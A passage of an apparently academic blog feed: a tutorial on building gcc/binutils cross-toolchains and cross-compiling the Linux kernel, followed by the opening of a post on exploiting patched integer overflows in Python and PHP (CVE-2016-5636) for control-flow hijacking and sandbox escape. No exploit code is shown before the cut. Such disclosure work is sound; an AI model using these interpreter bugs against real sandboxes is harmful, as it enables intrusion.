In this case, given the complexity of parsing the &lt;code&gt;Kconfig&lt;/code&gt; and 
&lt;code&gt;Makefile&lt;/code&gt;, probably the best way is to actually build the kernel
and dump the verbose version of the build log.&lt;/p&gt;
&lt;p&gt;Fortunately, with a modern Linux release (like Ubuntu or Fedora), all 
we need to cross-compile the kernel is a &lt;em&gt;toolchain&lt;/em&gt; that can produce 
binaries for another CPU architecture.&lt;/p&gt;
&lt;h2&gt;Toolchain&lt;/h2&gt;
&lt;p&gt;On cross-compiling the kernel, we only need two things: &lt;code&gt;binutils&lt;/code&gt;, 
and &lt;code&gt;gcc&lt;/code&gt;, and there are generally two ways to obtain them: &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;install pre-compiled packages &lt;/li&gt;
&lt;li&gt;build from source&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Installing pre-compiled packages can be a hassle-free way if you don't
want to get your hands dirty. In fact, for the following architectures: 
&lt;em&gt;arm, aarch64, hppa, hppa64, m68k, mips, mips64, powerpc, powerpc64,
s390x, sh4, sparc64&lt;/em&gt;,
you can directly obtain them via &lt;code&gt;apt-get&lt;/code&gt; from the official repositories.
For example, &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;binutils-aarch64-linux-gnu&lt;span class="w"&gt; &lt;/span&gt;gcc-aarch64-linux-gnu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Toolchains for other architectures such as &lt;em&gt;blackfin&lt;/em&gt;, &lt;em&gt;c6x&lt;/em&gt;, and &lt;em&gt;tile&lt;/em&gt;
can be obtained from the Fedora repo and converted to &lt;em&gt;.deb&lt;/em&gt; packages
as shown in the &lt;a href="http://events.linuxfoundation.org/sites/events/files/slides/Shuah_Khan_cross_compile_linux.pdf"&gt;tutorial in 2013&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;However, in case you want to compile the toolchain from source, for 
whatever reasons you might have, such as using the latest version or 
a customized version of &lt;code&gt;gcc&lt;/code&gt;, you might follow the following steps.&lt;/p&gt;
&lt;p&gt;As a head up, I am running a standard Ubuntu 16.04.3 LTS release with 
kernel version 4.4.0. The host &lt;code&gt;gcc&lt;/code&gt; and &lt;code&gt;binutils&lt;/code&gt; (i.e., the &lt;code&gt;gcc&lt;/code&gt; 
and &lt;code&gt;binutils&lt;/code&gt; used to build the toolchain) are the default ones with the 
Ubuntu release, which is in version 5.4.0 and 2.27 respectively.
However, I don't see major obstacles in applying it to other combinations 
of OS, &lt;code&gt;gcc&lt;/code&gt;, and &lt;code&gt;binutils&lt;/code&gt; versions as long as they are recent enough
to build the toolchain.&lt;/p&gt;
&lt;p&gt;Before diving into the building process, let's setup some environment 
variables. Part of them are for convenience reasons, while others are
necessary in the build process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;aarch64-unknown-linux-gnu&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# replace with your intended target&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/opt/cross/aarch64&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# replace with your intended path&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$PREFIX&lt;/span&gt;&lt;span class="s2"&gt;/bin:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;TARGET&lt;/code&gt; variable should be a &lt;em&gt;target triplet&lt;/em&gt; which is used by the
&lt;code&gt;autoconf&lt;/code&gt; system. Their valid values can be found in the 
&lt;a href="http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD"&gt;config.guess script&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The last step is necessary. By adding the installation prefix to the the 
&lt;code&gt;PATH&lt;/code&gt; of the current shell session, we ensure the &lt;code&gt;gcc&lt;/code&gt; is able to detect 
our new &lt;code&gt;binutils&lt;/code&gt; once we have built them.&lt;/p&gt;
&lt;h3&gt;binutils&lt;/h3&gt;
&lt;p&gt;The source code for &lt;code&gt;binutils&lt;/code&gt; can be obtained from the GNU servers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# for stable releases&lt;/span&gt;
&lt;span class="nv"&gt;BINUTILS_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.29.1
wget&lt;span class="w"&gt; &lt;/span&gt;ftp://ftp.gnu.org/gnu/binutils/binutils-&lt;span class="nv"&gt;$BINUTILS_VERSION&lt;/span&gt;.tar.xz

&lt;span class="c1"&gt;# for development branch&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;git://sourceware.org/git/binutils-gdb.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After that, modify the source code as you wish and build it with the 
following steps.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$BINUTILS_BUILD&lt;/span&gt;

&lt;span class="nv"&gt;$BINUTILS_SOURCE&lt;/span&gt;/configure&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--target&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--prefix&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PREFIX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--with-sysroot&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-nls&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-werror

make
make&lt;span class="w"&gt; &lt;/span&gt;install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Since we have multiple targets to build, it is better to have a separate 
build directory for each target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--disable-nls&lt;/strong&gt; tells &lt;code&gt;binutils&lt;/code&gt; not to include native language 
support. This is optional, but reduces dependencies and compile time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--with-sysroot&lt;/strong&gt; tells &lt;code&gt;binutils&lt;/code&gt; to enable sysroot support in 
the cross-compiler by pointing it to a default empty directory. 
By default the linker refuses to use sysroots for no good technical reason, 
while &lt;code&gt;gcc&lt;/code&gt; is able to handle both cases at runtime. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--disable-werror&lt;/strong&gt; behaves exactly as the name suggests, do not add 
&lt;code&gt;-Werror&lt;/code&gt; in the flag.&lt;/p&gt;
&lt;p&gt;After installation, the binaries &lt;code&gt;aarch64-unknown-linux-gnu-{as/ar/ld/...}&lt;/code&gt;
should exist in &lt;code&gt;$PATH&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These instructions apply to &lt;code&gt;binutils&lt;/code&gt; version 2.29.1, which is the latest
release at the time of writing. &lt;/p&gt;
&lt;h3&gt;gcc&lt;/h3&gt;
&lt;p&gt;Similar to &lt;code&gt;binutils&lt;/code&gt;. the source code for &lt;code&gt;gcc&lt;/code&gt; can be obtained from the
GNU servers too:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# for stable releases&lt;/span&gt;
&lt;span class="nv"&gt;GCC_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;.2.0
wget&lt;span class="w"&gt; &lt;/span&gt;ftp://ftp.gnu.org/gnu/gcc/gcc-&lt;span class="nv"&gt;$GCC_VERSION&lt;/span&gt;/gcc-&lt;span class="nv"&gt;$GCC_VERSION&lt;/span&gt;.tar.xz

&lt;span class="c1"&gt;# for development branch&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;git://gcc.gnu.org/git/gcc.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After that, modify the source code as you wish and build it with the 
following steps.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$GCC_SOURCE&lt;/span&gt;
./contrib/download_prerequisites

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$GCC_BUILD&lt;/span&gt;
&lt;span class="nv"&gt;$GCC_SOURCE&lt;/span&gt;/configure&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--target&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--prefix&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PREFIX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--enable-languages&lt;span class="o"&gt;=&lt;/span&gt;c,c++&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--without-headers&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-nls&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-shared&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-decimal-float&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-threads&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libmudflap&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libssp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libgomp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libquadmath&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libatomic&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libmpx&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--disable-libcc1

make&lt;span class="w"&gt; &lt;/span&gt;all-gcc
make&lt;span class="w"&gt; &lt;/span&gt;install-gcc&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Downloading the pre-requisites (&lt;em&gt;gmp&lt;/em&gt;, &lt;em&gt;mpfr&lt;/em&gt;, &lt;em&gt;mpc&lt;/em&gt;, &lt;em&gt;isl&lt;/em&gt;) areis
necessary as &lt;code&gt;gcc&lt;/code&gt; needs these packages for compilation. This is handled
seamlessly with the &lt;code&gt;download_prerequisites&lt;/code&gt; script. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--enable-languages=c,c++&lt;/strong&gt; tells &lt;code&gt;gcc&lt;/code&gt; not to build frontends
for other languages like Fortran, Java, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--without-headers&lt;/strong&gt; tells &lt;code&gt;gcc&lt;/code&gt; not to rely on any C library 
being present for the target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;--disable-&amp;lt;package&amp;gt;&lt;/strong&gt; tells &lt;code&gt;gcc&lt;/code&gt; not to build those packages
as they will not be needed in kernel compilation.&lt;/p&gt;
&lt;p&gt;More importantly, we should not simply &lt;code&gt;make all&lt;/code&gt; as that would 
build way too much (for example, the &lt;em&gt;libgcc&lt;/em&gt;, &lt;em&gt;libc&lt;/em&gt;, &lt;em&gt;libstdc++&lt;/em&gt;, 
etc), which are not needed at all. All we need is the compiler 
itself which can be built by &lt;code&gt;make all-gcc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another important note is that in order for &lt;code&gt;gcc&lt;/code&gt; to lookup the
correct set of &lt;code&gt;binutils&lt;/code&gt;, both &lt;code&gt;$TARGET&lt;/code&gt; and &lt;code&gt;$PREFIX&lt;/code&gt; must be
exactly the same when configuring &lt;code&gt;binutils&lt;/code&gt; and &lt;code&gt;gcc&lt;/code&gt;. 
For example, &lt;code&gt;aarch64-unknown-linux-gnu-gcc&lt;/code&gt; will lookup 
&lt;code&gt;aarch64-unknown-linux-gnu-as&lt;/code&gt; &lt;strong&gt;&lt;em&gt;in the same directory&lt;/em&gt;&lt;/strong&gt;: 
merely putting &lt;code&gt;aarch64-unknown-linux-gnu-as&lt;/code&gt; in &lt;code&gt;$PATH&lt;/code&gt;is not enough.&lt;/p&gt;
&lt;p&gt;The instructions apply to &lt;code&gt;gcc&lt;/code&gt; version 7.2.0, which is the latest 
release at the time of writing.&lt;/p&gt;
&lt;p&gt;After the whole process, the following files should present in the 
&lt;code&gt;$PREFIX/bin&lt;/code&gt; directory, and also in the &lt;code&gt;$PATH&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;aarch64-unknown-linux-gnu-addr2line
aarch64-unknown-linux-gnu-ar
aarch64-unknown-linux-gnu-as
aarch64-unknown-linux-gnu-c++
aarch64-unknown-linux-gnu-c++filt
aarch64-unknown-linux-gnu-cpp
aarch64-unknown-linux-gnu-elfedit
aarch64-unknown-linux-gnu-g++
aarch64-unknown-linux-gnu-gcc
aarch64-unknown-linux-gnu-gcc-7.2.0
aarch64-unknown-linux-gnu-gcc-ar
aarch64-unknown-linux-gnu-gcc-nm
aarch64-unknown-linux-gnu-gcc-ranlib
aarch64-unknown-linux-gnu-gcov
aarch64-unknown-linux-gnu-gcov-dump
aarch64-unknown-linux-gnu-gcov-tool
aarch64-unknown-linux-gnu-gprof
aarch64-unknown-linux-gnu-ld
aarch64-unknown-linux-gnu-ld.bfd
aarch64-unknown-linux-gnu-nm
aarch64-unknown-linux-gnu-objcopy
aarch64-unknown-linux-gnu-objdump
aarch64-unknown-linux-gnu-ranlib
aarch64-unknown-linux-gnu-readelf
aarch64-unknown-linux-gnu-size
aarch64-unknown-linux-gnu-strings
aarch64-unknown-linux-gnu-strip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Kernel Build&lt;/h2&gt;
&lt;p&gt;With the toolchain ready, cross-compiling the kernel involves 
two extra steps: &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find the architecture name (&lt;code&gt;$KERNEL_ARCH&lt;/code&gt;) in kernel source tree &lt;ul&gt;
&lt;li&gt;they are typically Located in &lt;code&gt;arch/*&lt;/code&gt; in the kernel source tree.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Find the configuration (&lt;code&gt;$KERNEL_CONF&lt;/code&gt;) for each sub-arch 
        (e.g., 32-bit vs 64-bit, big endian vs little endian, etc)&lt;ul&gt;
&lt;li&gt;&lt;code&gt;make ARCH=$KERNEL_ARCH help&lt;/code&gt; will show some hints.&lt;/li&gt;
&lt;li&gt;if there is no specific machine config, the &lt;code&gt;defconfig&lt;/code&gt; should work.&lt;/li&gt;
&lt;li&gt;if there are available machine configs, choosing from an existing 
    config seems to be more hassle free compared with doing a manual 
    &lt;code&gt;menuconfig&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once we find the values for &lt;code&gt;$KERNEL_ARCH&lt;/code&gt; and &lt;code&gt;$KERNEL_CONF&lt;/code&gt;, 
cross-compiling the kernel is as easy as the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_SOURCE&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_ARCH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_BUILD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_CONF&lt;/span&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_BUILD&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_ARCH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CROSS_COMPILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;V&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vmlinux&lt;span class="w"&gt; &lt;/span&gt;modules
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For example, in the case of building the &lt;em&gt;aarch64&lt;/em&gt; kernel, 
the command should look like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_SOURCE&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm64&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_BUILD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;defconfig

&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$KERNEL_BUILD&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm64&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CROSS_COMPILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;aarch64-unknown-linux-gnu-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;V&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vmlinux&lt;span class="w"&gt; &lt;/span&gt;modules
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course we can always speed up the build process with the &lt;code&gt;make -j&lt;/code&gt; flags.&lt;/p&gt;
&lt;p&gt;The instructions apply to Linux kernel version 4.13.5, which is the latest
release at the time of writing.&lt;/p&gt;
&lt;h2&gt;Results&lt;/h2&gt;
&lt;p&gt;In total, I have currently cross-compiled the kernel for 7 architectures 
and 12 sub-archs, with the procedure described above. The result is
summarized in the following table:&lt;/p&gt;
&lt;center&gt;

| Architecture     | Name    | `$TARGET`                     | `$KERNEL_ARCH` | `$KERNEL_CONF`     |
| :--------------- | :------ | :---------------------------- | :------------- | :----------------  |
| x86 (32-bit)     | i386    | i386-pc-linux-gnu             | x86            | i386_defconfig     |
| x86 (64-bit)     | x86_64  | x86_64-pc-linux-gnu           | x86            | x86_64_defconfig   |
| arm (32-bit)     | arm     | armv7-unknown-linux-gnueabi   | arm            | multi_v7_defconfig |
| arm (64-bit)     | aarch64 | aarch64-unknown-linux-gnu     | arm64          | defconfig          |
| powerpc (32-bit) | ppc     | powerpcle-unknown-linux-gnu   | powerpc        | pmac32_defconfig   |
| powerpc (64-bit) | ppc64   | powerpc64le-unknown-linux-gnu | powerpc        | ppc64le_defconfig  |
| sparc (32-bit)   | sparc   | sparc-unknown-linux-gnu       | sparc          | sparc32_defconfig  |
| sparc (64-bit)   | sparc64 | sparc64-unknown-linux-gnu     | sparc          | sparc64_defconfig  |
| mips (32-bit)    | mips    | mips-unknown-linux-gnu        | mips           | 32r6_defconfig     |
| mips (64-bit)    | mips64  | mips64-unknown-linux-gnu      | mips           | 64r6_defconfig     |
| s390x (64-bit)   | s390x   | s390x-ibm-linux-gnu           | s390           | default_defconfig  |
| ia64 (64-bit)    | ia64    | ia64-unknown-linux-gnu        | ia64           | generic_defconfig  |

&lt;/center&gt;

&lt;p&gt;I have also tried building an &lt;code&gt;allyesconfig&lt;/code&gt; kernel and succeeded in 7 
architectures, as shown in the following table. 
Unfortunately, &lt;em&gt;ia64&lt;/em&gt; failed miserably with error message 
&lt;code&gt;Error: Operand 2 of 'adds' should be a 14-bit integer (-8192-8191)&lt;/code&gt;,
and the error seems to have been there for 
&lt;a href="https://lkml.org/lkml/2016/8/14/57"&gt;more than 7 months&lt;/a&gt;.&lt;/p&gt;
&lt;center&gt;

| Architecture     | Name    | `$TARGET`                     | `$KERNEL_ARCH` | `$KERNEL_CONF`     |
| :--------------- | :------ | :---------------------------- | :------------- | :----------------- |
| x86 (64-bit)     | x86_64  | x86_64-pc-linux-gnu           | x86            | allyesconfig       |
| arm (32-bit)     | arm     | armv7-unknown-linux-gnueabi   | arm            | allyesconfig       |
| arm (64-bit)     | aarch64 | aarch64-unknown-linux-gnu     | arm64          | allyesconfig       |
| powerpc (64-bit) | ppc64   | powerpc64-unknown-linux-gnu   | powerpc        | allyesconfig       |
| sparc (64-bit)   | sparc64 | sparc64-unknown-linux-gnu     | sparc          | allyesconfig       |
| mips (64-bit)    | mips64  | mips64-unknown-linux-gnu      | mips           | allyesconfig       |
| s390x (64-bit)   | s390x   | s390x-ibm-linux-gnu           | s390           | allyesconfig       |

&lt;/center&gt;

&lt;p&gt;In case you want to try out, you can directly feed the corresponding
values for &lt;code&gt;$TARGET&lt;/code&gt;, &lt;code&gt;$KERNEL_ARCH&lt;/code&gt;, and &lt;code&gt;$KERNEL_CONF&lt;/code&gt; into the scripts
above and test.&lt;/p&gt;
&lt;h3&gt;Future works&lt;/h3&gt;
&lt;p&gt;I did not try with the less common (or inactive) architectures 
such as &lt;em&gt;blackfin&lt;/em&gt;, &lt;em&gt;sh&lt;/em&gt;, or &lt;em&gt;tile&lt;/em&gt; although I believe that they
can be cross-compiled in the similar way as well.&lt;/p&gt;
&lt;p&gt;Certain architectures are not available in the official &lt;code&gt;gcc&lt;/code&gt; 
source tree and one example is the &lt;code&gt;gcc&lt;/code&gt; for &lt;em&gt;openrisc&lt;/em&gt;. In these
cases, we have to compile the toolchain from the correspondingly
ported versions such as &lt;a href="https://github.com/openrisc/or1k-gcc"&gt;GCC port for OpenRISC 1000&lt;/a&gt;.&lt;/p&gt;</content><category term="blog"></category><category term="OS"></category><category term="Kernel"></category><category term="Compile"></category></entry><entry><title>Integer Overflow Vulnerabilities in Language Interpreters</title><link href="https://gts3.org/2016/lang-bug.html" rel="alternate"></link><published>2016-10-11T00:00:00+02:00</published><updated>2016-10-11T00:00:00+02:00</updated><author><name>Yeongjin Jang</name></author><id>tag:gts3.org,2016-10-11:/2016/lang-bug.html</id><summary type="html">&lt;p&gt;Exploiting four integer overflow vulnerabilities in Python and PHP&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Security vulnerabilities in language interpreters are considered more critical
than bugs in software in general because they could break the trust for
trusted computing base (TCB) as Ken Thompson pointed on his famous turing award
lecture in 1984 [1]. For instance, these vulnerabilities break the security
guarantee provided by security analysis tools or code auditing while the
most of such analyses grounded on the trust for language interpreters.
Instead of starting the security analysis from low-level parts of
a machine, the analysis sets the interpreter as a root of trust,
then performs static and dynamic analyses over the language abstraction
to test software against bugs. Although such analyses can catch
bugs in the code level, they cannot detect vulnerabilities underlying
the interpreter. These hideous vulnerabilities, if any of these is exploited,
break the trust guaranteed by the analyses performed over the code.&lt;/p&gt;
&lt;p&gt;Another example remarkably affected by such bugs is the language interpreter
sandbox in cloud providers. Cloud providers such as
&lt;a href="https://cloud.google.com/appengine/docs/python/runtime"&gt;Google App Engine&lt;/a&gt; modified the language
interpreter to create sandbox by only providing restricted environment (e.g., 
that cannot execute shell command or cannot interact with OS-related functions)
to the guest of the cloud. The main purpose of having such sandboxes is to
isolate the guest and limit the resource while not running the code in the
virtual machines, which is costly in performance.  Nonetheless, since the
restrictions of the sandbox is based on trusted language interpreters, the
isolation cannot be guaranteed if a vulnerability in the interpreter is 
exploited by an attacker.&lt;/p&gt;
&lt;p&gt;In this article, we demostrate four integer overflow vulnerabilities, which
are found by our recent research work [2], in Python and PHP language
interpreters that can be exploited for control-flow hijacking.  These
vulnerabilities undermine the trust of language interpreters, thus break
security guarantees on language runtime sandbox.  We note that all these
vulnerabilities disclosed here have been patched already in the upstream 
release version of Python and PHP.&lt;/p&gt;
&lt;h1&gt;Python zipimporter heap overflow(CVE-2016-5636)&lt;/h1&gt;
&lt;h2&gt;zipimport&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;python
&amp;gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;sys
&amp;gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;sys.path
&lt;span class="o"&gt;[&lt;/span&gt;...,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg&amp;#39;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;/usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg
/usr/local/lib/python2.7/dist-packages/aenum-1.4.5-py2.7.egg:&lt;span class="w"&gt; &lt;/span&gt;Zip&lt;span class="w"&gt; &lt;/span&gt;archive&lt;span class="w"&gt; &lt;/span&gt;data,&lt;span class="w"&gt; &lt;/span&gt;at&lt;span class="w"&gt; &lt;/span&gt;least&lt;span class="w"&gt; &lt;/span&gt;v2.0&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;extract
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

